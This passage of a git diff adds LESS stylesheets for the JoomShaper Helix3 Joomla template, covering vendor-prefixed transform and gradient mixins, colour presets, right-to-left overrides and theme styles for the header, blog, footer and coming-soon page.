+ transform: translate3d(@x, @y, @z);
+}
+.rotate(@degrees) {
+ -webkit-transform: rotate(@degrees);
+ -ms-transform: rotate(@degrees); // IE9 only
+ -o-transform: rotate(@degrees);
+ transform: rotate(@degrees);
+}
+.rotateX(@degrees) {
+ -webkit-transform: rotateX(@degrees);
+ -ms-transform: rotateX(@degrees); // IE9 only
+ -o-transform: rotateX(@degrees);
+ transform: rotateX(@degrees);
+}
+.rotateY(@degrees) {
+ -webkit-transform: rotateY(@degrees);
+ -ms-transform: rotateY(@degrees); // IE9 only
+ -o-transform: rotateY(@degrees);
+ transform: rotateY(@degrees);
+}
+.perspective(@perspective) {
+ -webkit-perspective: @perspective;
+ -moz-perspective: @perspective;
+ perspective: @perspective;
+}
+.perspective-origin(@perspective) {
+ -webkit-perspective-origin: @perspective;
+ -moz-perspective-origin: @perspective;
+ perspective-origin: @perspective;
+}
+.transform-origin(@origin) {
+ -webkit-transform-origin: @origin;
+ -moz-transform-origin: @origin;
+ -ms-transform-origin: @origin; // IE9 only
+ transform-origin: @origin;
+}
+
+
+// Transitions
+
+.transition(@transition) {
+ -webkit-transition: @transition;
+ -o-transition: @transition;
+ transition: @transition;
+}
+.transition-property(@transition-property) {
+ -webkit-transition-property: @transition-property;
+ transition-property: @transition-property;
+}
+.transition-delay(@transition-delay) {
+ -webkit-transition-delay: @transition-delay;
+ transition-delay: @transition-delay;
+}
+.transition-duration(@transition-duration) {
+ -webkit-transition-duration: @transition-duration;
+ transition-duration: @transition-duration;
+}
+.transition-timing-function(@timing-function) {
+ -webkit-transition-timing-function: @timing-function;
+ transition-timing-function: @timing-function;
+}
+.transition-transform(@transition) {
+ -webkit-transition: -webkit-transform @transition;
+ -moz-transition: -moz-transform @transition;
+ -o-transition: -o-transform @transition;
+ transition: transform @transition;
+}
+
+
+// User select
+// For selecting text on the page
+
+.user-select(@select) {
+ -webkit-user-select: @select;
+ -moz-user-select: @select;
+ -ms-user-select: @select; // IE10+
+ user-select: @select;
+}
+
+
+
+// Gradients
+
+#gradient {
+
+ // Horizontal gradient, from left to right
+ //
+ // Creates two color stops, start and end, by specifying a color and position for each color stop.
+ // Color stops are not available in IE9 and below.
+ .horizontal(@start-color: #555; @end-color: #333; @start-percent: 0%; @end-percent: 100%) {
+ background-image: -webkit-linear-gradient(left, @start-color @start-percent, @end-color @end-percent); // Safari 5.1-6, Chrome 10+
+ background-image: -o-linear-gradient(left, @start-color @start-percent, @end-color @end-percent); // Opera 12
+ background-image: linear-gradient(to right, @start-color @start-percent, @end-color @end-percent); // Standard, IE10, Firefox 16+, Opera 12.10+, Safari 7+, Chrome 26+
+ background-repeat: repeat-x;
+ filter: e(%("progid:DXImageTransform.Microsoft.gradient(startColorstr='%d', endColorstr='%d', GradientType=1)",argb(@start-color),argb(@end-color))); // IE9 and down
+ }
+
+ // Vertical gradient, from top to bottom
+ //
+ // Creates two color stops, start and end, by specifying a color and position for each color stop.
+ // Color stops are not available in IE9 and below.
+ .vertical(@start-color: #555; @end-color: #333; @start-percent: 0%; @end-percent: 100%) {
+ background-image: -webkit-linear-gradient(top, @start-color @start-percent, @end-color @end-percent); // Safari 5.1-6, Chrome 10+
+ background-image: -o-linear-gradient(top, @start-color @start-percent, @end-color @end-percent); // Opera 12
+ background-image: linear-gradient(to bottom, @start-color @start-percent, @end-color @end-percent); // Standard, IE10, Firefox 16+, Opera 12.10+, Safari 7+, Chrome 26+
+ background-repeat: repeat-x;
+ filter: e(%("progid:DXImageTransform.Microsoft.gradient(startColorstr='%d', endColorstr='%d', GradientType=0)",argb(@start-color),argb(@end-color))); // IE9 and down
+ }
+
+ .directional(@start-color: #555; @end-color: #333; @deg: 45deg) {
+ background-repeat: repeat-x;
+ background-image: -webkit-linear-gradient(@deg, @start-color, @end-color); // Safari 5.1-6, Chrome 10+
+ background-image: -o-linear-gradient(@deg, @start-color, @end-color); // Opera 12
+ background-image: linear-gradient(@deg, @start-color, @end-color); // Standard, IE10, Firefox 16+, Opera 12.10+, Safari 7+, Chrome 26+
+ }
+ .horizontal-three-colors(@start-color: #00b3ee; @mid-color: #7a43b6; @color-stop: 50%; @end-color: #c3325f) {
+ background-image: -webkit-linear-gradient(left, @start-color, @mid-color @color-stop, @end-color);
+ background-image: -o-linear-gradient(left, @start-color, @mid-color @color-stop, @end-color);
+ background-image: linear-gradient(to right, @start-color, @mid-color @color-stop, @end-color);
+ background-repeat: no-repeat;
+ filter: e(%("progid:DXImageTransform.Microsoft.gradient(startColorstr='%d', endColorstr='%d', GradientType=1)",argb(@start-color),argb(@end-color))); // IE9 and down, gets no color-stop at all for proper fallback
+ }
+ .vertical-three-colors(@start-color: #00b3ee; @mid-color: #7a43b6; @color-stop: 50%; @end-color: #c3325f) {
+ background-image: -webkit-linear-gradient(@start-color, @mid-color @color-stop, @end-color);
+ background-image: -o-linear-gradient(@start-color, @mid-color @color-stop, @end-color);
+ background-image: linear-gradient(@start-color, @mid-color @color-stop, @end-color);
+ background-repeat: no-repeat;
+ filter: e(%("progid:DXImageTransform.Microsoft.gradient(startColorstr='%d', endColorstr='%d', GradientType=0)",argb(@start-color),argb(@end-color))); // IE9 and down, gets no color-stop at all for proper fallback
+ }
+ .radial(@inner-color: #555; @outer-color: #333) {
+ background-image: -webkit-radial-gradient(circle, @inner-color, @outer-color);
+ background-image: radial-gradient(circle, @inner-color, @outer-color);
+ background-repeat: no-repeat;
+ }
+ .striped(@color: rgba(255,255,255,.15); @angle: 45deg) {
+ background-image: -webkit-linear-gradient(@angle, @color 25%, transparent 25%, transparent 50%, @color 50%, @color 75%, transparent 75%, transparent);
+ background-image: -o-linear-gradient(@angle, @color 25%, transparent 25%, transparent 50%, @color 50%, @color 75%, transparent 75%, transparent);
+ background-image: linear-gradient(@angle, @color 25%, transparent 25%, transparent 50%, @color 50%, @color 75%, transparent 75%, transparent);
+ }
+}
+
+
+// Opacity
+
+.opacity(@opacity) {
+ opacity: @opacity;
+ // IE8 filter
+ @opacity-ie: (@opacity * 100);
+ filter: ~"alpha(opacity=@{opacity-ie})";
+}
diff --git a/deployed/helix3/templates/shaper_helix3/less/presets.less b/deployed/helix3/templates/shaper_helix3/less/presets.less
new file mode 100644
index 00000000..e1b3dd7c
--- /dev/null
+++ b/deployed/helix3/templates/shaper_helix3/less/presets.less
@@ -0,0 +1,208 @@
+/**
+ * @package Helix Framework
+ * @author JoomShaper http://www.joomshaper.com
+ * @copyright Copyright (c) 2010 - 2017 JoomShaper
+ * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or later
+*/
+
+@import 'variables';
+@import 'mixins';
+
+
+// Anchor
+a{
+ color: @major_color;
+ &:hover {
+ color: darken(@major_color, 10%);
+ }
+}
+
+// Megamenu
+.sp-megamenu-parent {
+ >li {
+ &.active>a,
+ &:hover>a {
+ color: @major_color;
+ }
+ }
+
+ .sp-dropdown {
+ li.sp-menu-item {
+ >a {
+
+ &:hover {
+ background: @major_color;
+ }
+ }
+ &.active>a {
+ color: @major_color;
+ }
+ }
+ }
+
+}
+
+// Off Canvas
+#offcanvas-toggler {
+ >i {
+ color: @text_color;
+ &:hover {
+ color: @major_color;
+ }
+ }
+}
+
+//Button
+.btn-primary,
+.sppb-btn-primary {
+ border-color: darken(@major_color, 6%);
+ background-color: @major_color;
+
+ &:hover {
+ border-color: darken(@major_color, 15%);
+ background-color: darken(@major_color, 10%);
+ }
+}
+
+// Topbar Social
+ul.social-icons {
+
+ >li {
+
+ a {
+
+ &:hover {
+ color: @major_color;
+ }
+ }
+ }
+}
+
+// Page Title
+.sp-page-title {
+ background: @major_color;
+}
+
+// Body Innerwrapper
+
+.layout-boxed .body-innerwrapper {
+ background: @bg_color;
+}
+
+// Module
+.sp-module {
+ ul {
+ >li {
+ >a {
+ color: @text_color;
+ &:hover {
+ color: @major_color;
+ }
+ }
+ }
+ }
+
+ .latestnews {
+ >div {
+ >a {
+ color: @text_color;
+ &:hover {
+ color: @major_color;
+ }
+ }
+ }
+ }
+
+ .tagscloud {
+ .tag-name {
+ &:hover {
+ background: @major_color;
+ }
+ }
+ }
+}
+
+// sp Simple Portfolio
+.sp-simpleportfolio .sp-simpleportfolio-filter > ul > li.active > a,
+.sp-simpleportfolio .sp-simpleportfolio-filter > ul > li > a:hover {
+ background: @major_color;
+}
+
+// Search
+.search {
+ .btn-toolbar {
+ button {
+ background: @major_color;
+ }
+ }
+}
+
+
+// Blog
+.post-format {
+ background: @major_color;
+}
+
+.voting-symbol{
+ span.star.active:before{
+ color: @major_color;
+ }
+}
+
+.sp-rating {
+ span.star:hover:before,
+ span.star:hover ~ span.star:before {
+ color: darken(@major_color, 10%);
+ }
+}
+
+.entry-link,
+.entry-quote {
+ background: @major_color;
+}
+
+blockquote {
+ border-color: @major_color;
+}
+
+.carousel-left,
+.carousel-right {
+
+ &:hover {
+ background: @major_color;
+ }
+}
+
+// Footer
+#sp-footer {
+ background: @major_color;
+}
+
+// Comingsoon
+.sp-comingsoon body {
+ background-color: @major_color;
+}
+
+// Pagination
+.pagination>li>a,
+.pagination>li>span {
+ color: @text_color;
+ &:hover,
+ &:focus {
+ color: @text_color;
+ }
+}
+
+.pagination>.active>a,
+.pagination>.active>span {
+ border-color: @major_color;
+ background-color: @major_color;
+ &:hover,
+ &:focus {
+ border-color: @major_color;
+ background-color: @major_color;
+ }
+}
+
+
+
diff --git a/deployed/helix3/templates/shaper_helix3/less/rtl.less b/deployed/helix3/templates/shaper_helix3/less/rtl.less
new file mode 100644
index 00000000..5863b059
--- /dev/null
+++ b/deployed/helix3/templates/shaper_helix3/less/rtl.less
@@ -0,0 +1,129 @@
+/**
+ * @package Helix Framework
+ * @author JoomShaper http://www.joomshaper.com
+ * @copyright Copyright (c) 2010 - 2017 JoomShaper
+ * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or later
+*/
+
+@import 'variables';
+@import 'mixins';
+
+
+/* RTL Direction
+ *=======================================*/
+
+body {
+ &.rtl {
+
+ #sp-top-bar .sp-module {
+ margin: 0 20px 0 0;
+ }
+
+ //top address
+ .sp-contact-info {
+ float: left;
+ }
+
+ // lang switcher
+ .sp-module-content .mod-languages ul.lang-inline li {
+ margin: 0 0 0 5px;
+ }
+
+
+ //Offcanvas
+ #offcanvas-toggler {
+ float: left;
+ }
+ #offcanvas-toggler >i {
+ padding: 0 10px 0 0;
+
+ }
+ .close-offcanvas {
+ right: auto;
+ left: 10px;
+ }
+ .offcanvas-menu {
+ -webkit-transition: opacity 400ms cubic-bezier(0.7,0,0.3,1), left 400ms cubic-bezier(0.7,0,0.3,1);
+ transition: opacity 400ms cubic-bezier(0.7,0,0.3,1), left 400ms cubic-bezier(0.7,0,0.3,1);
+ }
+
+ .body-innerwrapper:after {
+ left: 0;
+ }
+
+ .offcanvas-menu {
+ left: -280px;
+ }
+
+ &.offcanvas {
+ .offcanvas-menu {
+ left: 0;
+ }
+ }
+
+ //mega menu
+ .sp-megamenu-parent {
+ float: left;
+ }
+
+ .sp-megamenu-parent >li.sp-has-child>a:after {
+ display: none;
+ }
+
+ .sp-megamenu-parent >li.sp-has-child>a:before {
+ content: " \f107";
+ font-family: FontAwesome;
+ margin-right: 5px;
+ }
+
+ .sp-megamenu-parent .sp-dropdown .sp-dropdown-items .sp-has-child>a:after {
+ float: left;
+ content: " \f104";
+ }
+
+ //module
+ .sp-module ul >li >a:before {
+ margin-right: 0;
+ margin-left: 8px;
+ content: "\f104";
+ float: right;
+ }
+
+ //blog
+ .entry-header.has-post-format {
+ margin-left: 0;
+ margin-right: 68px;
+ }
+ .post-format {
+ left: auto;
+ right: -68px;
+ }
+ .article-info >dt >i, .article-info >dd >i {
+ margin-right: 0;
+ margin-left: 3px;
+ }
+ .entry-link:before {
+ top:auto;
+ left: auto;
+ right: -60px;
+ transform: rotate(-90deg);
+ }
+ .entry-quote:before {
+ left: auto;
+ transform: rotate(-15deg);
+ top:auto;
+ right: -40px;
+ }
+ .categories-list .page-header a.pull-right {
+ float: left !important;
+ }
+ .newsfeed-category .category li .pull-left{
+ float: right !important;
+ }
+
+ //search
+ .search .btn-toolbar .pull-left{
+ float: right !important;
+ }
+ }
+}
diff --git a/deployed/helix3/templates/shaper_helix3/less/theme.less b/deployed/helix3/templates/shaper_helix3/less/theme.less
new file mode 100644
index 00000000..03c12417
--- /dev/null
+++ b/deployed/helix3/templates/shaper_helix3/less/theme.less
@@ -0,0 +1,1814 @@
+/**
+* @package Helix Framework
+* @author JoomShaper http://www.joomshaper.com
+* @copyright Copyright (c) 2010 - 2017 JoomShaper
+* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or later
+*/
+
+
+/* ************ START TABLE OF CONTENT ************ */
+/* **************************************************** */
+/*
+ 01. Base Style
+ 01. Button & Input
+ 03. Top Bar
+ 04. Header
+ 05. Page Title
+ 06. body innerwrapper
+ 07. Page Builder Addons
+ 08. Module
+ 09. Login Form
+ 10. Search
+ 11. Blog
+ 12. Bottom
+ 13. Footer
+ 14. Comingsoon
+ 15. Error page
+ 16. Mixed CSS
+
+/* ************ END:: TABLE OF CONTENT ************* */
+/* **************************************************** */
+
+
+/* ************ START Start Base Style ************* */
+/* **************************************************** */
+
+a {
+ -webkit-transition: color 400ms, background-color 400ms;
+ transition: color 400ms, background-color 400ms;
+}
+
+body {
+ line-height: 24px;
+ -webkit-transition: all 400ms ease;
+ transition: all 400ms ease;
+ background-color: @bg_color;
+
+}
+
+a, a:hover, a:focus, a:active {
+ text-decoration: none;
+}
+
+label {
+ font-weight: normal;
+}
+
+legend {
+ padding-bottom: 10px;
+}
+
+img {
+ display: block;
+ max-width: 100%;
+ height: auto;
+}
+
+/* *************** END:: Base Style **************** */
+/* **************************************************** */
+
+/* **************** START Button ****************** */
+/* **************************************************** */
+
+.btn, .sppb-btn {
+ .transition(~'color 400ms, background-color 400ms, border-color 400ms');
+}
+
+//Offline
+.offline-inner {
+ margin-top: 100px;
+}
+
+//input
+select, textarea, input[type="text"], input[type="password"], input[type="datetime"], input[type="datetime-local"], input[type="date"], input[type="month"], input[type="time"], input[type="week"], input[type="number"], input[type="email"], input[type="url"], input[type="search"], input[type="tel"], input[type="color"], .uneditable-input {
+ .form-control();
+}
+
+.group-control {
+ select, textarea, input[type="text"], input[type="password"], input[type="datetime"], input[type="datetime-local"], input[type="date"], input[type="month"], input[type="time"], input[type="week"], input[type="number"], input[type="email"], input[type="url"], input[type="search"], input[type="tel"], input[type="color"], .uneditable-input {
+ width: 100%;
+ }
+}
+
+/* ***************** END:: Button ****************** */
+/* **************************************************** */
+
+/* **************** START Common ****************** */
+/* **************************************************** */
+
+// go to top
+.scrollup {
+ width: 40px;
+ height: 40px;
+ position: fixed;
+ bottom: 62px;
+ right: 100px;
+ display: none;
+ z-index: 999;
+ border: 1px solid #ddd;
+ background-color: rgba(255,255,255,.4);
+ &:hover{
+ background-color: darken(#ddd, 10%);
+ }
+ &:before{
+ content: " \f106";
+ font-family: "FontAwesome";
+ position: absolute;
+ top: 0;
+ right: 0;
+ border-radius: 3px;
+ width: 40px;
+ height: 38px;
+ line-height: 38px;
+ text-align: center;
+ font-size: 25px;
+ font-weight: 700;
+ color: #000;
+ }
+}
+
+.backface-visible {
+ backface-visibility: hidden;
+}
+
+/* ***************** END:: Common ****************** */
+/* **************************************************** */
+
+/* *************** START Top Bar ****************** */
+/* **************************************************** */
+
+#sp-top-bar {
+ padding: 8px 0;
+ .sp-module {
+ display: inline-block;
+ margin: 0 0 0 20px;
+ }
+}
+
+ul.social-icons {
+ list-style: none;
+ padding: 0;
+ margin: -5px;
+ display: inline-block;
+ >li {
+ display: inline-block;
+ margin: 5px 7px;
+ a {
+ color: #999999;
+ }
+ }
+}
+
+// language switcher
+.sp-module-content {
+ .mod-languages {
+ ul.lang-inline {
+ margin: 0;
+ padding: 0;
+ li {
+ border: none;
+ display: inline-block;
+ margin: 0 5px 0 0;
+ a {
+ padding: 0 !important;
+ }
+ >a:before {
+ display: none;
+ }
+ }
+ }
+ }
+}
+
+.sp-contact-info {
+ float: right;
+ list-style: none;
+ padding: 0;
+ margin: 0 -10px;
+ li {
+ display: inline-block;
+ margin: 0 10px;
+ font-size: 90%;
+ i {
+ margin: 0 3px;
+ }
+ }
+}
+
+/* ***************** END:: Top Bar ***************** */
+/* **************************************************** */
+
+
+/* **************** START Header ****************** */
+/* **************************************************** */
+
+//sticky header
+.sticky-wrapper{
+ position: relative;
+ z-index: 99;
+}
+
+#sp-header {
+ background: #ffffff none repeat scroll 0 0;
+ box-shadow: 0 3px 3px rgba(0, 0, 0, 0.05);
+ height: 90px;
+ left: 0;
+ position: relative;
+ top: 0;
+ width: 100%;
+ z-index: 99;
+ .logo {
+ display: inline-block;
+ height: 90px;
+ display: table;
+ -webkit-transition: all 400ms ease;
+ transition: all 400ms ease;
+ margin: 0;
+ a {
+ font-size: 24px;
+ line-height: 1;
+ margin: 0;
+ padding: 0;
+ display: table-cell;
+ vertical-align: middle;
+ }
+ p {
+ margin: 5px 0 0;
+ }
+ }
+ .sp-retina-logo {
+ display: none;
+ }
+ &.menu-fixed{
+ position: fixed;
+ z-index: 9999;
+ }
+}
+
+.sticky-wrapper.is-sticky {
+ position: relative;
+ z-index: 999;
+}
+
+/* ***************** END:: Header ****************** */
+/* **************************************************** */
+
+/* *************** START Page Title *************** */
+/* **************************************************** */
+
+#sp-title {
+ min-height: 0;
+}
+
+.sp-page-title {
+ padding: 30px 0;
+ background-repeat: no-repeat;
+ background-position: 50% 50%;
+ background-size: cover;
+ background-attachment: fixed;
+ h2, h3 {
+ margin: 0;
+ padding: 0;
+ color: #fff;
+ }
+ h2 {
+ font-size: 24px;
+ line-height: 1;
+ }
+ h3 {
+ font-size: 14px;
+ font-weight: normal;
+ line-height: 1;
+ margin-top: 10px;
+ }
+ .breadcrumb {
+ background: none;
+ padding: 0;
+ margin: 10px 0 0 0;
+ >.active {
+ color: rgba(255, 255, 255, 0.8);
+ }
+ >span, >li, >li+li:before, >li>a {
+ color: #fff;
+ }
+ }
+}
+
+/* *************** END:: Page Title **************** */
+/* **************************************************** */
+
+
+/* *********** START body innerwrapper ************ */
+/* **************************************************** */
+.body-innerwrapper{
+ overflow-x: hidden;
+}
+.layout-boxed .body-innerwrapper {
+ max-width: 1240px;
+ margin: 0 auto;
+ box-shadow: 0 0 5px rgba(0, 0, 0, 0.2);
+}
+
+#sp-main-body {
+ padding: 100px 0;
+}
+
+.com-sppagebuilder #sp-main-body {
+ padding: 0;
+}
+
+/* ************ END:: body innerwrapper ************ */
+/* **************************************************** */
+
+
+/* ********** START Page Builder Addons *********** */
+/* **************************************************** */
+
+.sppb-addon-cta {
+ .sppb-cta-subtitle {
+ margin-bottom: 0;
+ line-height: 26px !important;
+ }
+ .sppb-btn-lg {
+ margin-top: 30px;
+ }
+}
+
+//Image content addon
+.sppb-addon-image-content {
+ position: relative;
+ .sppb-image-holder {
+ position: absolute;
+ top: 0;
+ width: 50%;
+ height: 100%;
+ background-position: 50%;
+ background-size: cover;
+ }
+ &.aligment-left {
+ .sppb-image-holder {
+ left: 0;
+ }
+ .sppb-content-holder {
+ padding: 120px 0 120px 50px;
+ }
+ }
+ &.aligment-right {
+ .sppb-image-holder {
+ right: 0;
+ }
+ .sppb-content-holder {
+ padding: 120px 50px 120px 0;
+ }
+ }
+}
+
+@media (max-width: @screen-sm-min) {
+ .sppb-addon-image-content {
+ .sppb-image-holder {
+ position: inherit;
+ width: 100% !important;
+ height: 300px;
+ }
+ }
+}
+
+
+/* ********** END:: Page Builder Addons ************ */
+/* **************************************************** */
+
+/* **************** START Module ****************** */
+/* **************************************************** */
+
+.sp-module {
+ margin-top: 50px;
+ &:first-child {
+ margin-top: 0;
+ }
+ .sp-module-title {
+ margin: 0 0 20px;
+ font-size: 14px;
+ text-transform: uppercase;
+ line-height: 1;
+ }
+ //Un-ordered List
+ ul {
+ list-style: none;
+ padding: 0;
+ margin: 0;
+ >li {
+ display: block;
+ border-bottom: 1px solid #e8e8e8;
+ -webkit-transition: 300ms;
+ transition: 300ms;
+ >a {
+ display: block;
+ padding: 5px 0;
+ line-height: 36px;
+ padding: 2px 0;
+ -webkit-transition: 300ms;
+ transition: 300ms;
+ &:hover {
+ background: none;
+ }
+ &:before {
+ font-family: FontAwesome;
+ content: "\f105";
+ margin-right: 8px;
+ }
+ }
+ &:last-child {
+ border-bottom: none;
+ }
+ }
+ }
+ //List category
+ .categories-module {
+ ul {
+ margin: 0 10px;
+ }
+ }
+ //Latest News
+ .latestnews {
+ >div {
+ padding-bottom: 5px;
+ margin-bottom: 5px;
+ border-bottom: 1px solid #e8e8e8;
+ &:last-child {
+ padding-bottom: 0;
+ margin-bottom: 0;
+ border-bottom: 0;
+ }
+ >a {
+ display: block;
+ font-weight: 400;
+ }
+ }
+ }
+ //Tags Cloud
+ .tagscloud {
+ margin: -2px 0;
+ .tag-name {
+ display: inline-block;
+ padding: 5px 10px;
+ background: #808080;
+ color: #fff;
+ border-radius: 4px;
+ margin: 2px 0;
+ span {
+ display: inline-block;
+ min-width: 10px;
+ padding: 3px 7px;
+ font-size: 12px;
+ font-weight: 700;
+ line-height: 1;
+ text-align: center;
+ white-space: nowrap;
+ vertical-align: baseline;
+ background-color: rgba(0, 0, 0, 0.2);
+ border-radius: 10px;
+ }
+ }
+ }
+}
+
+/* ***************** END:: Module ****************** */
+/* **************************************************** */
+
+/* ************** START Login Form **************** */
+/* **************************************************** */
+
+.login {
+ img {
+ display: inline-block;
+ margin: 20px 0;
+ }
+ .checkbox {
+ input[type="checkbox"] {
+ margin-top: 6px;
+ }
+ }
+}
+
+.form-links {
+ ul {
+ list-style: none;
+ padding: 0;
+ margin: 0;
+ }
+}
+
+/* *************** END:: Login Form **************** */
+/* **************************************************** */
+
+
+/* **************** START Search ****************** */
+/* **************************************************** */
+
+.search {
+ .btn-toolbar {
+ margin-bottom: 20px;
+ span.icon-search {
+ margin: 0;
+ }
+ button {
+ color: #fff;
+ }
+ }
+ .phrases {
+ .phrases-box {
+ .controls {
+ label {
+ display: inline-block;
+ margin: 0 20px 20px;
+ }
+ }
+ }
+ .ordering-box {
+ margin-bottom: 15px;
+ }
+ }
+ .only {
+ label {
+ display: inline-block;
+ margin: 0 20px 20px;
+ }
+ }
+ .search-results {
+ dt.result-title {
+ margin-top: 40px;
+ }
+ dt, dd {
+ margin: 5px 0;
+ }
+ }
+}
+
+.filter-search {
+ .chzn-container-single {
+ .chzn-single {
+ height: 34px;
+ line-height: 34px;
+ }
+ }
+}
+
+.form-search {
+ .finder {
+ label {
+ display: block;
+ }
+ .input-medium {
+ width: 60%;
+ border-radius: 4px;
+ }
+ }
+}
+
+.finder {
+ .word {
+ input {
+ display: inline-block;
+ }
+ }
+ .search-results.list-striped {
+ li {
+ padding: 20px 0;
+ }
+ }
+}
+
+/* ***************** END:: Search ***************** */
+/* **************************************************** */
+
+/* ****************** START Blog ****************** */
+/* **************************************************** */
+
+.article-info {
+ margin: 0 -8px 5px;
+ line-height: 12px;
+ >dd {
+ display: inline-block;
+ color: #666;
+ text-transform: uppercase;
+ margin: 0 8px;
+ >i {
+ display: inline-block;
+ margin-right: 3px;
+ }
+ }
+}
+
+article {
+ &.item {
+ margin-bottom: 50px;
+ }
+}
+
+.tags {
+ margin-top: 20px;
+ >span {
+ text-transform: uppercase;
+ letter-spacing: 2px;
+ }
+}
+
+//Article Voting
+.content_rating, .content_rating + form {
+ display: none;
+}
+
+.voting-symbol {
+ unicode-bidi: bidi-override;
+ direction: rtl;
+ font-size: 14px;
+ display: inline-block;
+ span.star {
+ font-family: "FontAwesome";
+ font-weight: normal;
+ font-style: normal;
+ display: inline-block;
+ &.active:before {
+ content: "\f005";
+ }
+ &:before {
+ content: "\f006";
+ padding-right: 5px;
+ }
+ }
+}
+
+.sp-rating {
+ span.star:hover:before, span.star:hover ~ span.star:before {
+ content: "\f005";
+ cursor: pointer;
+ }
+}
+
+.post_rating {
+ margin-bottom: 20px;
+ .ajax-loader, .voting-result {
+ display: none;
+ }
+}
+
+.post-format {
+ position: absolute;
+ top: 0;
+ left: -68px;
+ display: block;
+ width: 48px;
+ height: 48px;
+ font-size: 24px;
+ line-height: 48px;
+ text-align: center;
+ color: #fff;
+ border-radius: 3px;
+}
+
+.entry-image, .entry-gallery, .entry-video, .entry-audio, .entry-link {
+ margin-bottom: 30px;
+}
+
+.entry-status, .entry-quote {
+ margin-bottom: 50px;
+}
+
+// image alignment css
+.pull-right.entry-image {
+ margin: 0 0 18px 20px;
+}
+.entry-status, .entry-quote {
+ margin-bottom: 50px;
+}
+
+.entry-header {
+ position: relative;
+ margin-bottom: 30px;
+ &.has-post-format {
+ margin-left: 68px;
+ display: inline-block;
+ }
+ h2 {
+ margin: 8px 0 0;
+ font-size: 24px;
+ line-height: 1;
+ a {
+ color: #000;
+ }
+ }
+}
+
+.entry-link {
+ padding: 100px 50px;
+ position: relative;
+ z-index: 1;
+ a {
+ h4 {
+ margin: 0;
+ font-size: 36px;
+ color: #fff;
+ &:hover {
+ color: rgba(255, 255, 255, 0.85);
+ }
+ }
+ }
+ &:before {
+ position: absolute;
+ left: -60px;
+ font-size: 300px;
+ content: "\f0c1";
+ font-family: FontAwesome;
+ transform: rotate(90deg);
+ top: -75px;
+ color: rgba(255, 255, 255, 0.15);
+ z-index: -1;
+ }
+}
+
+.entry-quote {
+ position: relative;
+ padding: 80px 50px;
+ color: rgba(255, 255, 255, 0.9);
+ &:before {
+ position: absolute;
+ left: -40px;
+ font-size: 300px;
+ content: "\f10e";
+ font-family: FontAwesome;
+ transform: rotate(15deg);
+ top: -75px;
+ color: rgba(255, 255, 255, 0.15);
+ }
+ blockquote small {
+ color: #FFF;
+ font-weight: 600;
+ font-size: 20px;
+ }
+ blockquote {
+ padding: 0;
+ margin: 0;
+ font-size: 16px;
+ border: none;
+ }
+}
+
+.carousel-left, .carousel-right {
+ position: absolute;
+ top: 50%;
+ font-size: 24px;
+ width: 36px;
+ height: 36px;
+ line-height: 36px;
+ margin-top: -18px;
+ text-align: center;
+ color: #fff;
+ background: rgba(0, 0, 0, 0.5);
+ border-radius: 4px;
+ -webkit-transition: 400ms;
+ transition: 400ms;
+ &:hover {
+ color: #fff;
+ }
+ &:focus {
+ color: #fff;
+ }
+}
+
+.carousel-left {
+ left: 10px;
+}
+
+.carousel-right {
+ right: 10px;
+}
+
+.newsfeed-category {
+ .category {
+ list-style: none;
+ padding: 0;
+ margin: 0;
+ li {
+ padding: 5px 0;
+ }
+ }
+ #filter-search {
+ margin: 10px 0;
+ }
+}
+
+.category-module, .categories-module, .archive-module, .latestnews, .newsflash-horiz, .mostread, .form-links, .list-striped {
+ list-style: none;
+ padding: 0;
+ margin: 0;
+ li {
+ padding: 2px 0;
+ h4 {
+ margin: 5px 0;
+ }
+ }
+}
+//Social and rating
+.article-footer-top{
+ display: table;
+ clear: both;
+ width: 100%;
+ .post_rating{
+ float: left;
+ }
+}
+
+.helix-social-share{
+ float: right;
+ .helix-social-share-icon{
+ ul{
+ padding: 0;
+ list-style: none;
+ margin: 0;
+ li{
+ margin-right: 7px;
+ display: inline-block;
+ div{
+ display: block;
+ a{
+ background: #f5f5f5 none repeat scroll 0 0;
+ border-radius: 50%;
+ height: 30px;
+ padding-top: 4px;
+ text-align: center;
+ width: 30px;
+ display: inline-block;
+ &:hover,
+ &:focus{
+ background: @major_color;
+ color: #fff;
+ }
+ }
+ }
+ }
+ }
+ }
+}
+
+/* ****************** END:: Blog ****************** */
+/* **************************************************** */
+
+
+/* *************** START Bottom ****************** */
+/* **************************************************** */
+
+#sp-bottom {
+ .sp-module {
+ .sp-module-title {
+ text-transform: none;
+ font-weight: 400;
+ font-size: 24px;
+ }
+ }
+}
+
+/* **************** END:: Bottom ****************** */
+/* **************************************************** */
+
+/* **************** START Footer ****************** */
+/* **************************************************** */
+
+#sp-footer {
+ color: #fff;
+ text-align: center;
+ padding: 20px 0;
+ a {
+ color: rgba(255, 255, 255, 0.9);
+ &:hover {
+ color: #fff;
+ }
+ }
+}
+
+#sp-footer-wrapper {
+ ul {
+ display: inline-block;
+ &.nav {
+ display: inline-block;
+ list-style: none;
+ padding: 0;
+ margin: 0 5px;
+ li {
+ display: inline-block;
+ margin: 0 5px;
+ a {
+ display: block;
+ &:hover {
+ background: none;
+ }
+ }
+ }
+ }
+ }
+ .helix-framework {
+ display: inline-block;
+ .helix-logo {
+ display: block;
+ width: 130px;
+ height: 40px;
+ text-indent: -9999px;
+ background: url(../images/helix-logo-white.png) no-repeat 0 0;
+ }
+ }
+ .copyright {
+ display: block;
+ }
+}
+
+/* **************** END:: Footer ****************** */
+/* **************************************************** */
+
+
+/* *************** START Comingsoon *************** */
+/* **************************************************** */
+
+.sp-comingsoon {
+ width: 100%;
+ height: 100%;
+ min-height: 100%;
+ body {
+ width: 100%;
+ height: 100%;
+ min-height: 100%;
+ color: #fff;
+ }
+ #sp-comingsoon{
+ padding: 100px 0;
+ }
+ .sp-comingsoon-wrap.has-background{
+ height: 100%;
+ background-position: center center;
+ background-repeat: no-repeat;
+ background-size: cover;
+ width: 100%;
+ }
+ .comingsoon-page-logo{
+ text-align: center;
+ img{
+ display: inline-block;
+ }
+ .sp-retina-logo{
+ display: none;
+ }
+ }
+ .sp-comingsoon-title {
+ margin-top: 130px;
+ font-size: 42px;
+ margin-bottom: 10px;
+ font-weight: 700;
+ }
+ .sp-comingsoon-content {
+ font-size: 28px;
+ font-weight: 300;
+ }
+ .days, .hours, .minutes, .seconds {
+ display: inline-block;
+ margin: 80px 15px;
+ }
+ .days .number, .hours .number, .seconds .number, .minutes .number {
+ width: 115px;
+ height: 120px;
+ line-height: 120px;
